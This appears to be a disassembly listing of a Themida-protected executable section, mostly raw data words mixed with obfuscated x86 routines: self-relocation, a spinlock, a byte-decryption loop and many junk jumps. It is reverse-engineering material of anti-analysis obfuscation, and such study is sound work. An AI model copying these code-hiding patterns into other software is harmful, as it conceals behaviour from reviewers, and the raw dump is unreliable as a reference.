6A580644h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 1D34C356h, 6E9h, 32A04200h dd 0E996C3AFh, 9, 0E86986E5h, 4FB4969Ch, 3D958B28h, 6606440Ch dd 9D89D98Ch, 64424EDh, 0F04C1F6h, 6B84h, 8B66F800h, 62E9D3h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 0BD501AC3h, 0D1C1DF1Bh, 9795BA66h, 41DB58Bh dd 6E90644h dd 0DE000000h, 33AB2903h, 80C6819Ah, 80000011h, 6C790DAh dd 0 dd 13E8h, 0AA509100h, 0B05E9A11h, 18B6E4D4h, 714E27B3h dd 0E5012553h, 5BDE8B66h, 0F8835Eh, 0B67840Fh, 810F0000h dd 6, 9D01F381h, 0F8835C31h, 6C850F01h, 6A000001h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 0B837C352h, 0 dd 2C15958Bh, 0C00B0644h, 0C1840Fh, 0D18B0000h, 0F01F883h dd 10084h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 0DA75EDE8h, 8A58AA11h, 4800FD5h dd 51000000h, 835B46B6h, 840F03F8h, 38h, 68D0Fh, 95330000h dd 64424C1h, 0B8h, 8DDE8B00h, 5B7974BDh, 0FFD38B00h, 0EE8E7h dd 87FE0000h, 1A8E298Ch, 139D9F76h, 1BA20158h, 1820Fh dd 5BF90000h, 1B8h, 0DE800h, 602E0000h, 0BA3A0E87h, 7235747Ch dd 0FDB1B79h, 68Fh, 0F5BD8900h, 5A064419h, 7974BD8Dh, 14E9005Bh dd 39000000h, 0B77F2485h, 54503BC5h, 0D8BE598Ah, 0FEE6E775h dd 0FF355A26h, 8DDE8BE7h, 44443FBDh, 7E9F506h, 6A000003h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 9DB6C356h, 4C9AEF64h, 7E934ABh, 0EA000000h dd 5BDC0282h, 0AE953E5h, 0CB000000h, 3B535FBBh, 8F6331D6h dd 0E85C786h, 506444Eh, 1000000h, 441E619Dh, 5B806h, 0F600000h dd 687h, 2DBD8B00h, 66064425h, 61CC8FB8h, 978E9h, 5D9D8B00h dd 83064417h, 850F02F8h, 0FBh, 0C1D9509h, 0B80644h, 29000000h dd 442F95BDh, 10E906h, 28B30000h, 53CEF88Ch, 96C8FFF8h dd 0D9DF23E8h, 0C00B1A6Bh, 8F840Fh, 0CE80000h, 0EB000000h dd 35782B3Eh, 0A9C7421Eh, 8BFE49B0h, 4420299Dh, 0F8835B06h dd 76840F01h, 80FFFFFFh, 0F88304DFh, 0D9840F03h, 6AFFFFFEh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 0B68EC351h, 60E68112h, 9E9h, 84D87700h, 3E5E600Fh dd 0B589CC20h, 6440349h, 0B8h, 8DDA8A00h, 5B7974BDh, 0AE800h dd 41D90000h, 0B3515A7Ah, 0DFD4D92Eh, 0FF5BD78Bh, 4D958BE7h dd 89064402h, 44165995h, 37BD8D06h, 29064446h, 4407B995h dd 1C0E906h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 0CD7CA9C3h, 8BFC6515h, 44258995h dd 0A58D8906h, 8306442Bh, 850F03F8h, 25h, 0BD8DD08Bh, 64447CBh dd 5054E281h, 9D8B5F26h, 64424B5h, 171E9h, 6850F00h, 31000000h dd 442A15BDh, 5F88306h, 2E850Fh, 12E90000h, 0F7000000h dd 0A71312A8h, 77E5B71Fh, 0D8EB2943h, 2B9D2798h, 81BE9D1h dd 0DE90000h, 6B000000h, 0DA0239Bh, 0CD3F69A7h, 338DDDA6h dd 0F06F883h, 0A085h, 0EE900h, 61A60000h, 81FA897Dh, 2725613Eh dd 2EFDB280h, 49C3BD8Dh, 6A0644h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 0E83F34C3h, 8, 0AE77BAD7h dd 0BCB2D9A4h, 109D9D8Bh, 0F5B0644h, 0D3E9DBB7h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 0AEE6C352h, 0C8144765h, 809F8395h, 6E960h dd 0B5400000h, 0F6F9B438h, 7918523h, 60610644h, 9E9h, 0E0EE0200h dd 0DE0F4216h, 0BD012EA1h, 6441F55h, 7F88361h, 13850Fh dd 9D8B0000h, 6442609h, 471BD8Dh, 0E0B30644h, 150E9h, 0AF88300h dd 60850Fh, 9D330000h, 644220Dh, 4BBBBD8Dh, 6A0644h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0E4465FC3h, 6396C5C8h, 8589CF0Ah, 6441021h, 23E9D78Bh dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 0ABF7C352h, 80C670F1h, 335769EFh dd 441C759Dh, 6914B906h, 6A571Eh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 838359C3h, 8956A42Dh dd 4406A5B5h, 65BD8906h, 0E9064416h, 0Fh, 7E824E26h, 9D141AD4h dd 0C571088Ah, 8301D935h, 840F003Fh, 78h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 18h, 86C35646h, 9E05D2ACh dd 2BC59531h, 8D090644h, 64419D1h, 5A500F30h, 6A47C9D1h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 0B7DAC350h, 0C8C40A36h, 8C30A825h, 81BD2960h dd 8B06440Dh, 442FE18Dh, 89F86106h, 442DADB5h, 0FF85E906h dd 958BFFFFh, 6442609h, 0EE8505Fh, 0FE000000h, 0F07563F7h dd 7305B94Ch, 20426125h, 5A5B53E0h, 0B7BD895Ah, 6A06444Dh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 2936C351h, 44152DB5h, 298D8D06h, 6A06441Bh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 0E971C356h, 0E9892E23h, 12h, 78AFE186h, 93FA93A9h dd 0BFD2AE1Dh, 0F9B5030Ah, 0B5FFBA95h, 64420E1h, 0A173858Dh dd 8D500646h, 44547ABDh, 0BC8D8D06h, 0B8064470h, 54831ABCh dd 730CF2Bh, 4947C8D0h, 0B58DF875h, 644701Eh, 70D48D8Dh dd 0CF2B0644h, 0C933A4F3h, 0B8h, 74C00B00h, 25BD8346h dd 64418h, 95FF0674h, 644319Dh, 4DB7B58Bh, 858D0644h, 646A173h dd 858DD0FFh, 644421Dh, 85C7D0FFh, 64413C1h, 1, 929A58Bh dd 0B58B0644h, 6442BB5h, 1A91AD8Bh, 0C0330644h, 6A000CC2h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 6090C352h, 6718533h, 66610644h, 0BD83D08Bh dd 64424E5h, 11840F00h, 89000000h, 440E459Dh, 0C995FF06h dd 66064413h, 0F151E281h, 1BE9BD83h, 0F000644h, 19585h dd 83E0B600h, 442F11BDh, 850F0106h, 186h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 18h, 3FC35141h, 9BF0FA9Eh dd 22A5B529h, 0BD830644h, 6440E11h, 53840F00h, 8B000001h dd 0ABD83D3h, 6444Eh, 144840Fh, 0B70F0000h, 0D28166D1h dd 858DA171h, 646A173h, 0C1B70F60h, 8B61E4B3h, 444DB7B5h dd 618D0106h, 0FF064402h, 53006AD0h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0E985C6A3h dd 54064402h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 0C9C35747h, 0E212510Bh, 2F898D89h, 49680644h, 0FE937BBh dd 2089h, 0E8525000h, 12h, 3EDF125Ch, 7E7AED37h, 0E5B96C9Ch dd 3B2F11D9h, 0F5BA832h, 5AD08B31h, 24348158h, 167905BDh dd 4D7446BBh, 9CE3805Dh, 2D7DB5FFh, 8BA0644h, 8B4201D0h dd 441E099Dh, 65858D06h, 6606443Ah, 0FF37B5BBh, 5880FD0h dd 0BA000000h, 4DBB7BD1h, 8B66006Ah, 29FF6AD3h, 440035B5h dd 6AD0FF06h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 1D36C350h, 0F30D813h, 0B5FFDFBFh dd 6441B09h, 7E9h, 86A21A00h, 0DD4E9BA8h, 20E195FFh, 6A0644h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 0C0FE78C3h, 0C0F9464Ah, 5E9h, 4FDCB600h, 0B58BA1E0h dd 6444DB7h, 0C0BF0F60h, 0C361C28Bh, 14E8h, 5556B400h dd 7D8BDE19h, 5F9F683Bh, 55DA7197h, 0CD665275h, 799503E7h dd 5A06442Ch, 1591B58Bh, 958B0644h, 6442CA9h, 840FF60Bh dd 0Eh, 1FAD9D8Bh, 0D98B0644h, 0F0006C6h, 8589D9B7h, 6444DBFh dd 28D0Fh, 0DF8B0000h, 0F00F883h dd 32C84h, 7E900h, 211C0000h, 4FED4B2h, 0B8ABh, 0FE90000h dd 0C000000h, 0DFA61F50h, 9169F162h, 9ADA1409h, 958B0049h dd 64408D5h, 0F00F883h, 0E684h, 12E800h, 68130000h, 694EAFC7h dd 9EAD3BE0h, 25BD2258h, 8A1AAA4Bh, 22699D89h, 835A0644h dd 850F02F8h, 7Eh, 65B9F381h, 858D3E2Bh, 644443Ah, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0E6C35242h, 0CDF7182Ah dd 2D14D9EEh, 929h, 68E0Fh, 95330000h, 6440D75h, 10E890h dd 2FE30000h, 5870A39Dh, 5B62D9B4h, 0ECE5CA33h, 60600922h dd 615A5161h, 10E9505Bh, 38000000h, 0F0C21B7Ah, 7D309FB3h dd 0BAE18B82h, 90CD5DD1h, 0C3D0B70Fh, 22699D89h, 0B80644h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 95C1C355h, 0D11834D2h, 0C2866C13h dd 30B1B529h, 1EE90644h, 89000002h, 441F3D85h, 158D2906h dd 0B806440Ch, 1, 31459503h, 0BD8D0644h, 644443Fh, 0E9DAB70Fh dd 0C6h, 0C274BB66h, 0F02F883h, 4985h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 13C8526Fh, 0EF2F45D5h, 8B6079FFh, 443111B5h, 9D236106h dd 6442C79h, 4637BD8Dh, 8D0F0644h, 2, 73E9FD8Ah, 80000000h dd 0F883FCC6h, 1E850F03h, 0E8000000h, 5, 12647A53h, 0D6BB6617h dd 0BD8D5A28h, 64447CBh, 4BE9DF8Bh, 8B000000h, 5F883D7h dd 40850Fh, 8C0F0000h, 6, 1C85B509h, 0EEE90644h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 1B35C356h, 499F02D7h, 0C745FD53h, 2CF19D23h dd 0BA660644h, 8B573B1Bh, 4407A195h, 6914B906h, 9D8B571Eh dd 6441551h, 0F003F83h, 0A484h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 6F578C15h dd 8BDB1386h, 442C4D9Dh, 6A0F3006h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 3066C356h dd 29DCF81Ah, 0C9D1317Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 48C35343h, 55C73EEFh, 0E9F547D0h, 0FFFFFF80h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 7DC35040h dd 9FDC2628h, 840F7AA3h, 5, 12EB8166h, 5F88336h, 6B850Fh dd 9E90000h, 57000000h, 0BBA91057h, 4D074315h, 0AEA8EA81h dd 8C6674E6h, 0D28166D9h, 0C1F63700h, 34850F04h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 0EC1EC351h, 31C4B9ADh, 81661661h, 0B8F126D3h dd 0 dd 12E9FD8Ah, 8B000000h, 44160D85h, 0D68B5306h, 8BE0FF5Ah dd 441F5995h, 0E1BD8306h, 64420h, 0D8850Fh, 0F9510000h dd 5830F5Bh, 66000000h, 8748E281h, 88A0F50h, 50000000h dd 60310F52h, 89585A61h, 0F6802404h, 85C6F9B8h, 64402E9h dd 51006A45h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 0FD9D0B2Ch, 6806441Bh, 92F2A14Fh, 7E95653h dd 7D000000h, 189CEA1Ch, 5A5AF3A9h, 26243481h, 8B1C80C8h dd 441C0595h, 7DB5FF06h, 0F906442Dh, 3A65858Dh, 6A0644h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 9BEEDFC3h, 0BB66F604h, 0D0FF4A12h, 0CECB8166h, 0E18589EDh dd 66064420h, 0DFC7C281h, 53006A58h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 8002FEAAh dd 7F02F7C7h, 0BD8333C5h, 6444E0Eh, 56840F00h, 0E8000000h dd 0Dh, 0A1E3756Ch, 2B4359F9h, 94A3210Fh, 28C0F36h, 53000000h dd 0B5FF5B5Bh, 6441B09h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 0C3C35040h, 56F7FB0Ch, 8BC87D46h, 441E0595h dd 0E195FF06h, 81064420h, 7F4C1AE2h, 0F8835Bh, 84850Fh dd 958B0000h, 6442AADh, 2C49BD83h, 0F000644h, 3384h, 1D958B00h dd 0FF064416h, 442C49B5h, 6860F06h, 3000000h, 440D8195h dd 0FBBB6606h, 1B849h, 840F0000h, 1, 25FE9F8h, 0BF0F0000h dd 0C8E780DEh, 1B09B5FFh, 9D8B0644h, 6441919h, 1B09B5FFh dd 8E90644h, 35000000h, 32B12447h, 0FF02AC16h, 4420E1B5h dd 0C99D8B06h, 0E9064408h, 229h, 9E9h, 6E639A00h, 1DCB07E1h dd 6A5F13D6h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 3291C356h, 3C5E6EB6h, 8B52BD51h dd 4433B19Dh, 5DBD8306h, 64403h, 114850Fh, 0CA810000h dd 2BA8E074h, 2E985C6h, 6A4D0644h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0CE8BC355h dd 847790BCh, 3D44BFCCh, 9E9h, 7A634600h, 5E53D14h, 9D8BFCD7h dd 64424C1h, 4E8h, 3576A800h, 50D38BA4h, 830F5250h, 6 dd 310F5250h, 310F585Ah, 5A616050h, 448B585Ah, 8B660424h dd 60008BD6h, 0FCB8B66h, 680h, 880F00h, 61000000h, 4244489h dd 0D6BB5250h, 0F7C947Eh, 58585A31h, 2800Fh, 32B70000h dd 0E25B5FFh, 858D0644h, 6443A65h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 0C4C35242h, 80364DE6h, 0CEDB8166h dd 80D0FF1Dh, 8589A2F3h, 644035Dh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 23C35040h, 0AC1E37D9h, 0AAFF8A4Ah dd 68C0F56h, 8B000000h, 44214995h, 860F5A06h, 6, 24199D89h dd 0B80644h, 66000000h, 89BA72BAh, 444DB7BDh, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 0C8478940h, 0A0B2C4Eh, 20BA5887h, 0B752E5Ch, 3B840FC0h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 0FB1CC355h, 68B0F67h, 8B000000h dd 4431419Dh, 5FE906h, 7E90000h, 0A2000000h, 68FD1C3Eh dd 0B5FF5201h, 64420E1h, 12C2BB66h, 14E9h, 0CB209300h dd 4FE862B4h, 255B1C1Ch, 0B55F899h, 0AD11679Dh, 73858D8Ch dd 8B0646A1h, 442AB595h, 8D0F9006h, 0 dd 0F47BB50h, 0E990474Bh, 11h, 5C865EF8h, 0DBA75CDh, 0A72F4D29h dd 4D570A3Bh, 8D56509Dh, 44547ABDh, 0A48D8D06h, 0B806447Ah dd 748323BCh, 730CF2Bh, 4947C8D0h, 585EF875h, 2C49BD83h dd 74000644h, 0C58D8B06h, 3306441Ch, 0B8C9h, 0C00B0000h dd 99840Fh, 0BD830000h, 6441825h, 0FF067400h, 44319D95h dd 0B806h, 0C00B0000h, 0BD830975h, 6444DBFh, 83097401h dd 444DBFBDh, 0E750206h, 4DB7B58Bh, 858D0644h, 646A173h dd 858DD0FFh, 644421Dh, 0BD83D0FFh, 6441879h, 8B2F7502h dd 440929A5h, 49858B06h, 8906442Ch, 85C72404h, 64413C1h dd 1, 4DBBB58Bh, 0AD8B0644h, 6441A91h, 1B8h, 0CC200h, 85C700EBh dd 64413C1h, 1, 929A58Bh, 0B58B0644h, 6442BB5h, 1A91AD8Bh dd 0C0330644h, 83000CC2h, 4424E5BDh, 0F740006h, 13C9BD83h dd 74000644h, 0C995FF06h, 8B064413h, 444DB7B5h, 9D89C306h dd 6440DF1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 43C35646h, 0D99D2357h, 2B06441Ah, 0D993BBD2h db 84h, 66h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_54426E ; --------------------------------------------------------------------------- loc_54426C: ; CODE XREF: Themida_:00544271j inc eax inc edi loc_54426E: ; CODE XREF: Themida_:0054426Aj cmp byte ptr [edi], 0 jnz short loc_54426C xor ecx, ecx mov edi, [ebp+8] jmp short loc_54429D ; --------------------------------------------------------------------------- loc_54427A: ; CODE XREF: Themida_:0054429Fj xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_544292 ; --------------------------------------------------------------------------- loc_54428F: ; CODE XREF: Themida_:00544295j mul ebx dec esi loc_544292: ; CODE XREF: Themida_:0054428Dj cmp esi, 0 ja short loc_54428F pop ebx add ecx, eax pop eax inc edi dec eax loc_54429D: ; CODE XREF: Themida_:00544278j or eax, eax jnz short loc_54427A mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- db 6Ah dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 49E5C350h, 8A0F1A19h, 9, 10DA8160h, 0F5370583h dd 8BDA8B61h, 1A3AE9C1h, 2, 3F0000h, 280259h, 0EFC70259h dd 0FF68005Ah, 0F4B90012h, 0F4B9005Ah, 246005Ah, 20000h dd 10000h, 60000h, 0C6AA0000h, 0FA0Fh, 4 dup(0) dd 89F30000h, 0E5620054h, 86640054h, 0FA6C0054h, 0F41F0054h dd 1390054h, 0BE250055h, 0F8530054h, 4B020054h, 5F100054h dd 0D1E80054h, 0BA0C0054h, 0EC020054h, 0B5D90054h, 0C3E70054h dd 900D0054h, 81B40054h, 46890054h, 6A990054h, 9280054h dd 71C70055h, 0B3D90054h, 0B5E50054h, 0C5A90054h, 0F8290054h dd 0E8840054h, 0AB2C0054h, 0FD8C0054h, 0A43B0054h, 55900054h dd 7BBF0054h, 0DFF40054h, 0E2570054h, 330054h, 0CF480055h dd 0D29D0054h, 0D8140054h, 0D45F0054h, 79090054h, 0EE760054h dd 0D38F0054h, 0EA130054h, 51D10054h, 4F4F0054h, 0A1840054h dd 0E49E0054h, 0F2250054h, 6D360054h, 0B2500054h, 81900054h dd 0C3AF0054h, 0AE810054h, 4DA00054h, 0A97E0054h, 0FB440054h dd 0F81C0054h, 0EDAD0054h, 0E3BD0054h, 0C1960054h, 0A950054h dd 0C9DB0055h, 0D4E90054h, 0BDDC0054h, 0A4440054h, 898C0054h dd 9350054h, 0E56E0055h, 0E03E0054h, 530A0054h, 583D0054h dd 91EE0054h, 0E74E0054h, 0E8FD0054h, 6DD70054h, 0EB230054h dword_544450 dd 0ABD70054h, 4D150054h, 0D3F50054h, 8640054h, 4C9C0055h ; DATA XREF: ___:off_43B084o dd 4FDE0054h, 9BFB0054h, 92490054h, 0C55C0054h, 5E170054h dd 0AB7F0054h, 95C50054h, 0E5C30054h, 4A740054h, 641C0054h dd 0DFB00054h, 0D7130054h, 0B6C50054h, 4DB30054h, 0F4E40054h dd 97CF0054h, 6C5A0054h, 92020054h, 77690054h, 0A5540054h dd 0FC540054h, 7DA70054h, 0DBB50054h, 0C5D10054h, 9F160054h dd 72C80054h, 0F37B0054h, 942B0054h, 0D9410054h, 20D0054h dd 5A4E0055h, 0E48B0054h, 0F1990054h, 1ED0054h, 0FE1F0055h dd 3B60054h, 47020055h, 824A0054h, 0CE3B0054h, 8EA00054h dd 0B2840054h, 6D850054h, 0E7F70054h, 598E0054h, 76080054h dd 98870054h, 0CB240054h, 58C80054h, 0C4A40054h, 0E6A30054h dd 0C2C90054h, 879D0054h, 58920054h, 0AB040054h, 613B0054h dd 0E1770054h, 0E4C00054h, 0EBA40054h, 8B330054h, 0BEAB0054h dd 0D6030054h, 80A0054h, 7C440055h, 61F90054h, 0F6EA0054h dd 0A14B0054h, 0DD640054h, 60980054h, 0B4200054h, 75850054h dd 6E40054h, 0E6F80055h, 64030054h, 0FF980054h, 5D9F0054h dd 94F90054h, 0DC660054h, 0CDFF0054h, 6C8C0054h, 6BE30054h dd 0BCC60054h, 62320054h, 0F1690054h, 0AA520054h, 8E830054h dd 0FD340054h, 0C27A0054h db 54h, 0 ; --------------------------------------------------------------------------- loc_5445C2: ; CODE XREF: Themida_:005667E7j ; Themida_:00592910j ... pusha pushf cld call $+5 pop edi sub edi, 6447F20h mov eax, edi add edi, 6447C38h cmp eax, [edi+2Ch] jnz short loc_5445E0 jmp short loc_5445F3 ; --------------------------------------------------------------------------- loc_5445E0: ; CODE XREF: Themida_:005445DCj mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_5445EF ; --------------------------------------------------------------------------- loc_5445EA: ; CODE XREF: Themida_:005445F1j add [edi+ecx*4+40h], eax dec ecx loc_5445EF: ; CODE XREF: Themida_:005445E8j or ecx, ecx jnz short loc_5445EA loc_5445F3: ; CODE XREF: Themida_:005445DEj mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_544600: ; CODE XREF: Themida_:00544607j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_544600 loc_544609: ; CODE XREF: Themida_:loc_5461F4j ; Themida_:00546791j ... lodsb xor al, bl push ecx sub esp, 2 mov [esp], bx jmp loc_54C871 ; --------------------------------------------------------------------------- aJcsze db '├ГИ╖┘',0 dw 3000h dd 801DE9F4h, 68590000h, 3A95h, 0FF241C89h, 5B042474h dd 6134E9h, 4EA8100h, 1399D33h, 4C281EAh, 5D399D33h, 46853h dd 0E95B0000h, 81CAh, 700568h, 24348900h, 503110BEh, 7A99E924h dd 0D6F70000h, 8106EEC1h, 0F50BC6C6h, 4BF68100h, 8178E567h dd 0F478B2EEh, 5EF0295Dh, 89C7E9h, 9E9AC00h, 30000059h dd 43ADE9F4h, 8F660000h, 0FF6BE900h, 8951FFFFh, 4C181E1h dd 81000000h, 4E9h, 240C8700h, 2404895Ch, 0EE64FE68h, 0E0C15804h dd 5E8C102h, 8904EC83h, 9FBD242Ch, 31009DCCh, 9E95DE8h dd 1000031h, 0FB015DEBh, 5F65E9h, 4E6A6800h, 34890000h dd 4EC8124h, 89000000h, 96E92424h, 5100005Fh, 5381E953h dd 248B0000h, 0AFB6E924h, 34FF0000h, 0E685924h, 0E9000041h dd 0BCCEh, 5C240487h, 9C2404FFh, 9CDE9h, 95C68100h, 1656571h dd 95EE81C6h, 58656571h, 0EE81DE29h, 7D5E1DE9h, 81241C8Bh dd 4C4h, 774AE900h, 0C2810000h, 4, 5C241487h, 0E9E78957h dd 0ACBh, 39A6E941h, 0E1C10000h, 0F6E98102h, 1067947h dd 240C8BCFh, 78C2E9h, 4055800h, 53000000h, 89175FBBh dd 29EB8121h, 0C12B457Ah, 0DE908EBh, 1000035h, 9CC281C2h dd 0E9370D44h, 7B78h, 52C60158h, 311834BAh, 43EE8155h dd 2906E86Dh, 43C681D6h, 5A06E86Dh, 8904EC83h, 0E9BF243Ch dd 0C118A357h, 0D7F705E7h, 1161F781h, 0B850658Eh, 0FFFFFFFFh dd 8158C729h, 0CA121DC7h, 5FFE019Dh, 0E57A3BBh, 3B82E914h dd 555D0000h, 7AE95D54h db 54h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5447E7: ; CODE XREF: Themida_:0054D82Ej add ecx, ebx pop ebx xchg ecx, [esp] mov esp, [esp] push dword ptr [edi+eax*4] mov eax, [esp] push 4CF6h mov [esp], esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi push 11h mov [esp], ebx push 346C47BAh mov ebx, [esp] add esp, 4 jmp loc_54C1FD ; --------------------------------------------------------------------------- db 2Dh dd 0CCC2E87Ch, 680EE9h, 24148900h, 17E95255h, 0FE000029h dd 0E99C240Ch, 0FFFFFDC5h, 88241C89h, 88C7FED7h, 0B93BE9FAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_544852: ; CODE XREF: Themida_:00545D6Ej or ebx, ebx jnz loc_54EA7B push 2B11h mov [esp], edx pop dword ptr [edi+20h] jmp loc_5474E7 ; --------------------------------------------------------------------------- dw 0B105h dd 35542252h, 31F578F0h, 0EDE9C231h, 81000040h, 0E35191C1h dd 39C18128h, 2D047E42h, 125F7B45h, 4505C801h, 8B125F7Bh dd 8957240Ch, 0D1E953E7h, 29000063h, 0EAC15DEAh, 0F7D2F707h dd 0BAC281D2h, 81FF06CFh, 0AE643AEBh, 81D3015Bh, 0AE643AC3h dd 23E95A5Bh, 680000C2h, 626h, 0BB241C89h, 359E3CECh, 40E9DE21h db 0A2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5448D7: ; CODE XREF: Themida_:0054BA67j mov edx, 7DEC4D4Ah xor edx, 40FA5E66h mov ebp, edx pop edx or edi, ebp mov ebp, [esp] add esp, 4 xor edi, 4EDFF695h sub eax, edi pop edi sub ecx, eax pop eax push 10D7h jmp loc_5457C7 ; --------------------------------------------------------------------------- loc_544906: ; CODE XREF: Themida_:0054C7F4j push edx mov edx, 12526ECAh jmp loc_54AD2E ; --------------------------------------------------------------------------- dd offset dword_595368 align 2 dw 489h aS_5 db '$И',8,0Dh,0 align 2 loc_54491E: ; CODE XREF: Themida_:0054911Fj pop eax add ebx, 945224Ch push 6C3Dh mov [esp], ecx sub esp, 4 mov [esp], esi mov esi, 5D357DF2h jmp loc_54D9C0 ; --------------------------------------------------------------------------- dd 0F659E888h, 58C688D0h, 244CFE52h, 66535A01h, 8873B551h dd 665966EFh, 0E9D6B551h, 0A991h ; --------------------------------------------------------------------------- loc_544960: ; CODE XREF: Themida_:00546F8Bj add esp, 4 jmp loc_54F887 ; --------------------------------------------------------------------------- dd 3CC1BB53h, 0C38124EEh, 2A7474C6h, 20C38143h, 29E89898h dd 0ED815BDDh, 99B798Bh, 9BA8F581h, 0A8E92A19h db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_54498F: ; CODE XREF: Themida_:0054B4F6j mov [esp], ebx push dword ptr [esp] jmp loc_54C7DD ; --------------------------------------------------------------------------- dw 565Fh dd 5A56EE89h, 96055D5Eh, 1247276h, 0AE953D0h, 8100001Bh dd 4C1h, 4E98100h, 87000000h, 0E95C240Ch, 35E6h, 0BF57F229h dd 37461EC3h, 658CE9h, 66900400h, 0E9718F68h, 79Bh, 5293685Ah dd 2C890000h, 484BD24h, 0CD810B83h, 3C95205Eh, 24DAED81h dd 0EA813F97h, 56E30F33h, 8824E9h db 0 ; --------------------------------------------------------------------------- loc_544A01: ; CODE XREF: Themida_:0054B260j add esp, 4 push 4EE0h mov [esp], ebp jmp loc_544DD0 ; --------------------------------------------------------------------------- db 68h, 69h, 22h dd 0A3E90000h, 0D00002Ah, 279C778Ah, 634A7405h, 0C1E8D151h dd 9FE905E0h, 0BF0000ADh, 2489030Ah, 3C8BFE09h, 4C48324h dd 7C6BE9h, 24442900h, 0FBE95804h db 6Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_544A4B: ; CODE XREF: Themida_:00549F8Ej sub ecx, edi pop edi push ebx jmp loc_545CDC ; --------------------------------------------------------------------------- dd 4245C01h, 4504E9h db 0 ; --------------------------------------------------------------------------- loc_544A5D: ; CODE XREF: Themida_:00544ABDj mov ebp, 4 add edx, ebp pop ebp xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp jmp loc_5493F1 ; --------------------------------------------------------------------------- dd 0E9240C8Bh, 0BCFBh, 405h, 7FAB6800h, 3C890000h, 37A8E924h dd 0D1F60000h, 306EE980h, 0B00459CEh, 0B02CF000h, 2CD8005Ah dd 91A2E95Ch, 0FE010000h, 4EE815Fh, 56000000h, 42474FFh dd 0E924348Bh, 7C5Bh ; --------------------------------------------------------------------------- loc_544ABC: ; CODE XREF: Themida_:005494E9j push ebp jmp loc_544A5D ; --------------------------------------------------------------------------- dw 0D589h dd 7F12BA5Ah, 0EA29A155h, 4EC815Dh, 89000000h, 8FE9242Ch dd 580000B4h, 8904EC83h, 6852242Ch, 4378h, 0B8240489h dd 4, 0EFE9C289h, 33000051h, 248B243Ch, 0FB07E924h, 8B66FFFFh dd 0D0E9240Ch db 50h, 2 dup(0) ; --------------------------------------------------------------------------- loc_544B0B: ; CODE XREF: Themida_:00549460j pop ebx jmp loc_550575 ; 